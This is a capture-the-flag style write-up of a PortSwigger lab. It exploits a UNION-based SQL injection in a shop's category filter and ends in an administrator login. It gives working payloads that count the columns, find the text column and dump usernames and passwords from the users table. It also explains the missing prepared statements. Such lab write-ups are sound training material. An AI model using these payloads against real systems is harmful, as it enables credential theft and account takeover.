Skip to main content

🗂️PortSwigger Lab Writeup: SQL Injection UNION Attack - Retrieving Multiple Values in a Single Column

PortSwigger lab description page for SQL Injection – UNION with Single Column

🎯 Objective​

The objective of this lab is to exploit a Union-based SQL injection vulnerability in a web application where the application executes a SQL query with user-supplied input in unsafe way to filter the products and our goal is to retrieve all usernames and passwords from a table - users as well as concatenate it to retrieve multiple values within a single column.

💉 Payloads Used​

1. For determining no of columns :-​

  • Payload 1 - ✅
Gifts'+UNION+SELECT+NULL,NULL--

2. For determining column containing text :-​

  • Payload 2 - ❌
Gifts'+UNION+SELECT+'a',NULL--
  • Payload 3 - ✅
Gifts'+UNION+SELECT+NULL,'a'--

3. For extracting usernames and passwords :-​

  • Payload 4 - ✅
Gifts'+UNION+SELECT+NULL,username||'~'||password+FROM+users--

🧪 Exploitation Steps​

🕵️Step 1: Observe the Website​

  • Firstly open the lab URL in your browser, and observe what it is about and how it works. Target web application homepage with product categories
    Login page of the vulnerable web application
  • At first glance, the website seems to be a shopping website with an option to filter products on different categories and also there is a login page. In the lab description, it is mentioned that the vulnerability is in the filter parameter which is being used directly in a SQL query.

🔍Step 2: Find the Vulnerable Endpoint​

  • Click on any one of the filter to see how website behaves and where the filter parameter is passed to server. Filter parameter in URL revealing possible injection point
  • Here, the site filters the products by supplying the category name in URL - /filter?category=...

🚀Step 3: Inject the Payload​

  • Based on my initial observation of the website, it seems that the application is returning two columns, but still we will verify the the no of columns by using payload - Pets'+UNION+SELECT+NULL,NULL-- Response confirming two-column output using NULL-based UNION payload
  • Hence, it is confirmed that the application is returning two columns and now, we will determine which column is returning string data by placing a text value instead of NULL in each place.
  • So, lets first place our first payload - Gifts'+UNION+SELECT+'a',NULL--. Internal server error from payload testing first column for string data
  • Hence this payload did not worked and returned an Internal Server Error. So, we try another payload - Gifts'+UNION+SELECT+NULL,'a'-- Successful payload confirming second column accepts string data
  • This payload executed successfully, confirming that second column is returning string data.
  • Now, we will exploit this functionality by retrieving all the usernames and passwords from a table users and concatenating both within a single column as only one columns in query is of string datatype.
  • Based on my observation, the application might be running a SQL query - SELECT id, title FROM products WHERE category = '$category';. So, to exploit this query, we will inject the payload - Gifts'+UNION+SELECT+NULL,username||'~'||password+FROM+users-- which after injection will become - SELECT id, title FROM products WHERE category = 'Gifts'+UNION+SELECT+NULL,username||'~'||password+FROM+users--'; and after successful execution, it will return all the usernames and passwords in a single column. Concatenated usernames and passwords displayed from UNION SQL injection
  • Hence, it successfully returned all the three usernames and password stored in users table in the format - username~password.
  • Now, open the login page in new tab and copy paste the details of administrator to complete the final task of this lab. Successful admin login after retrieving credentials via SQL injection
  • And💥Booom!, We got the access of Admin account on the website.
  • And Finally, the Lab is solved.

🧠 Conclusion​

  • This lab involves a basic case of SQL injection vulnerability, where the category parameter is used to filter products where the application directly concatenates the user-supplied category in the SQL query to fetch only the relevant products.
  • Since the application neither validates the user-input nor uses prepared statement, an attacker can manipulate the SQL query by injecting any arbitrary SQL commands to gain full access of the database.
  • By injecting Gifts'+UNION+SELECT+NULL,username||'~'||password+FROM+users-- in the category parameter, we are able to retrieve all the usernames and passwords stored in the database.